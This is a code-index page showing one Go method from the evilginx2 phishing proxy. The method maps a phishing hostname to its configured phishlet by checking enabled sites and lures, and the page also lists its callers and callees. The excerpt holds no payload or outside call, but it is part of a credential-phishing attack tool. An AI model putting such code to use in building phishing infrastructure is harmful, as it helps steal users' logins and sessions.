MCPcopy
hub / github.com/kgretzky/evilginx2 / getPhishletByPhishHost

Method getPhishletByPhishHost

core/http_proxy.go:1669–1696  ·  view source on GitHub ↗
(hostname string)

Source from the content-addressed store, hash-verified

1667}
1668
1669func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
1670 for site, pl := range p.cfg.phishlets {
1671 if p.cfg.IsSiteEnabled(site) {
1672 phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
1673 if !ok {
1674 continue
1675 }
1676 for _, ph := range pl.proxyHosts {
1677 if hostname == combineHost(ph.phish_subdomain, phishDomain) {
1678 return pl
1679 }
1680 }
1681 }
1682 }
1683
1684 for _, l := range p.cfg.lures {
1685 if l.Hostname == hostname {
1686 if p.cfg.IsSiteEnabled(l.Phishlet) {
1687 pl, err := p.cfg.GetPhishlet(l.Phishlet)
1688 if err == nil {
1689 return pl
1690 }
1691 }
1692 }
1693 }
1694
1695 return nil
1696}
1697
1698func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, bool) {
1699 if hostname == "" {

Callers 3

NewHttpProxyFunction · 0.95
blockRequestMethod · 0.95
getSessionIdByIPMethod · 0.95

Calls 4

combineHostFunction · 0.85
IsSiteEnabledMethod · 0.80
GetSiteDomainMethod · 0.80
GetPhishletMethod · 0.80

Tested by

no test coverage detected